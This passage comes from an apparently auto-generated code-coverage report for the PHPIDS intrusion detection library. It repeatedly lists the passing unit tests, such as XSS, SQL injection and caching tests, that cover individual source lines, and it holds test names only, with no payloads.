class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel75": { - "header": "50 tests cover line 75", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel76": { - "header": "49 tests cover line 76", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel78": { - "header": "49 tests cover line 78", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel79": { - "header": "49 tests cover line 79", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel80": { - "header": "49 tests cover line 80", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel81": { - "header": "49 tests cover line 81", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel82": { - "header": "49 tests cover line 82", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel84": { - "header": "50 tests cover line 84", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li 